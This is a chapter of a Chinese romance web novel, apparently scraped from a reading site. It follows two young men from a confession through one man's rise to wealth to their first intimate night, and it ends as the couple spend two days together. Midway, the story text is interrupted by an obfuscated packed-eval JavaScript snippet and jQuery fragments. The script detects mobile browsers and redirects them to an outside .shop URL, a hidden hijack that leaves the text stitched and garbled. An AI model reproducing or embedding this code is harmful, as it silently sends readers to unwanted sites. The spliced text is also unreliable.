爱情啊。
还真是一个熟悉又陌生的词语。
熟悉在于我有丰富的旁观经验——少男少女总怀春,爱恨情仇一个月就能演无数遍。
陌生在于我的确从来没有爱上过任何人,也不懂它究竟是个什么滋味儿。
但很奇怪,裴斯文说他爱我,我的心中生不起一丝厌烦,反而还有点高兴。
我很是满意地点了点头,然后对他说:“这就是告白了,之后的流程一个也不能少。”
裴斯文用手指点了点我的眉心,眼底却满是笑。
“当然是要一步步来,一点也不会委屈了我的……你。”
他在话语的末尾转了一个小圈,我并不清楚他原本想说什么,但大抵能猜到那绝不会是什么“温和”的称呼。
男朋友么?
心上人么?
还是……更过分的称呼呢?
我低垂下眼睑,在这一瞬间,竟然也生出了些期待来。
或许,我和裴斯文是和我父母不一样的,或许我们之间的爱情真的能够开花结果、能够天长地久地在一起。
--
裴斯文刚告完白就忙得昏天暗地,后续又出了旁人向我告白的事件,我像过往一样拒绝了,然后并没有放在心上,也没有想告知裴斯文的想法——他已经足够忙了,这点明显会令人不快的小事就不必向他“汇报”了。
只是我不说,不代表我们共同的朋友们不会说。
当然,我也没有提前叫他们保密——我自认为这件事拒绝得非常果决、问心无愧,况且之前有这类告白的事件、我也一样没提到,但我倒是忽略了一件事——告白后的兄弟,和告白前的兄弟,还真是两个概念。
裴斯文这个人的反应也特别有趣。
他那天难得早归,我背着书包回家的时候,他正在厨房里忙碌。
我在玄关处坐着换了鞋,脱下外套、扔下书包,趿着拖鞋去厨房找他。
抽油烟机全力运转,厨房里空气还算清新,裴斯文正在熟稔地掂着勺,却也能腾出空来看我一眼,说:“去书房先写作业,再过半个小时饭就好了。”
我扫一眼已经落到保温模式的电饭煲,又看了一眼已经切得整整齐齐的配菜,自觉地问:“要不要喝饮料?”
“要,你去挑。”
我挑好了饮料,顺便摆好了碗筷、把饭盛好提前晾上,裴斯文那边就开始一道道出菜了。
他出菜、我端菜,十分默契,等饭菜上桌、饮料开瓶,整个用餐的过程,裴斯文都没什么异样。
他甚至提议我们一起去楼下转一圈。
小区的物业服务还可以,一路都有工作人员向我们问好,又因为是宠物友好型小区,不少家庭都是一边散步一边遛狗。
我的目光下意识地会看向各种各样的大型犬上,裴斯文就在我身边很自然地说:“等你高考结束了,我们一起养条狗吧。”
“好啊,”我刚答应,转念一想,又补充说道,“到时候咱们都住校,养得话狗狗会不会太孤单了?”
我们的目标院校虽然是在本地,但离现在的房子太远了。
“不住校,我准备在咱们的大学周边再买一套房子。”
“……再买一套?”我有些不可置信地扭过头看他。
“嗯。”裴斯文的语气轻松得像是要一本习题册,“现在的房子还是太小了。”
“……不小了。”
近七十平,十万每平的房价,足够昂贵,也足够我们两个人住了。
“你值得更好的,”裴斯文的手搭在我的肩膀上,“这也是我为之努力的意义。”
我任由他动作,倒也没生出什么排斥的心理,我们一起赤条条地洗澡、睡在一起也是常有的事,不过是搭个肩膀,兄弟间很自然的行为。
只是……
“有多余的钱可以投资、钱生钱嘛,”我虽然不清楚裴斯文到底在干什么,但基本的商业逻辑还是懂的,“没必要把所有的钱都取出来再买房子,租房也可以的。”
“放心,我手里的现金流足够用了,”裴斯文停顿了几秒钟,又说,“前几天向你告白的那个男生,家里有三套别墅、两套大平层,还有其他多处房产。”
“谁向你通风报信了?”我忍不住笑,“我可是当场就拒绝了,你不要吃醋。”
“我没有吃醋,”裴斯文握着我肩膀的手却紧了紧,“我只是在想,我做得还不够好。”
“已经很好了,你是创一代,能在这么短的时间里做到这个程度,已经非常、非常非常厉害了。”
我用哄小孩的语气温柔地哄着裴斯文,裴斯文偏偏也吃这一套,神色明显没那么紧绷了,我于是接着哄。
“管那小子家里有多少钱呢?他没有你长得帅,没有你成绩好,也没有你陪了我这么久。我和你天下第一好,就算他家财万贯、就算你什么都没有,我也只会和你在一起、绝不会多看他一眼的。”
说完这句话的时候,我们刚好走到了小区的喷泉水池旁边,夜灯照亮了高高低低的水柱,为夜色平添了一丝浪漫。
“余晚晖。”
“嗯?”
“我会让你过上更好的日子的。”
“好啊。”
“……无论发生什么事,都不要离开我。”
“好啊。”
当年还是太年轻,以为幸福唾手可得、以为未来尽在掌控,因此承诺许下得格外轻松、甚至笃定彼此绝不会违约。
在微凉的晚风里,在无人的喷泉水池边,裴斯文凑过来、吻了一下我的侧脸。
他极为珍重地说:“我不会让你后悔选择我。”
我还没来得及回味这个吻,就被他接下来的这句话逗笑了,只好笑着说:“好龙傲天式的发言,裴斯文,我等着你得偿所愿,我跟着吃更香的、喝更辣的。”
--
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17711328|208441||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
裴斯文并没有让我等太久。
在我们双双以优异的成绩考进本市的一所知名大学后,大一还没有结束,裴斯文就登上了本市的财富榜。
我们名下的房子、车子几乎每个月都在变更数目。
裴斯文作为年轻富豪,自然被众人追逐,我作为他公开的男朋友,竟然也有不少人试图接触我。
一开始,我以为他们是想借助我、搭上裴斯文这条线,但后来竟然发现,他们想挖裴斯文的墙角、想泡我。
据说,有一位擅长相面的先生看过了我的照片,又远远地观察了我的本人,得出了我“极旺夫”的判词。
再结合之前裴斯文已经跌落谷底,自从和我同居后,又迅速崛起、扶摇直上的经历,很多圈内人对此半信半疑、甚至深信不疑,自然派了些人来接触我。
对于这些人,裴斯文的手段干净、利落、甚至狠辣。
我只是叮嘱他不要违法犯罪,其他的也就放手不管了。
实话实说,我也被缠得很烦,裴斯文能帮我解决,我高兴还来不及,自然不会出手阻拦。
我和裴斯文一直循序渐进地谈着恋爱。
原本我以为成年了他就要把我弄到床上了。
我倒是没想到,他坚持到了我二十岁以后。
我的二十岁生日宴会办得格外隆重。
裴斯文还特地提前告知了全体股东,要分1%的股份给我。
不要看这个比例不大,但背后代表的金钱和权利却很多。
一开始他想给10%,我再三推辞,才变成了1%。
生日宴结束后,我睡了个整觉,第二天中午醒来的时候,难得看到裴斯文还睡在我身边。
我揉着惺忪的睡眼,问他:“今天不上班?”
裴斯文轻笑出声,握着我的手去摸他的身体。
自我成年后,他总爱做这个动作,我也没什么戒心,直接上下起手地摸他,摸着摸着就起了点火。
我有些茫然地看着他,想等着他像往日那样替我解决问题。
裴斯文却凑过来,吻了一下我的嘴唇,一触即离。
“今天可以做到最后么?”
我近距离地看着他。
思来想去,找不到任何拒绝的理由,甚至渐渐地,满脑子都是劝自己答应的声音。
我听到我自己清楚地说:“可以。”
刚开荤的我们体力都还不错,柔软的床垫发出吱呀声响。
紧扣的十指、贴近的皮肤、缠绵的喘息……
以及裴斯文贴着我耳边的一句又一句告白话语。
我们连着两天两夜没出门,雇佣的工作人员总会准备好适合的饮食用小推车送过来。
卧室附属的浴室和洗手间里内也留下了许多难忘的记忆。
“……”
我想想都脸红,裴斯文倒是还好,一副从容不迫、颇为餍足的模样。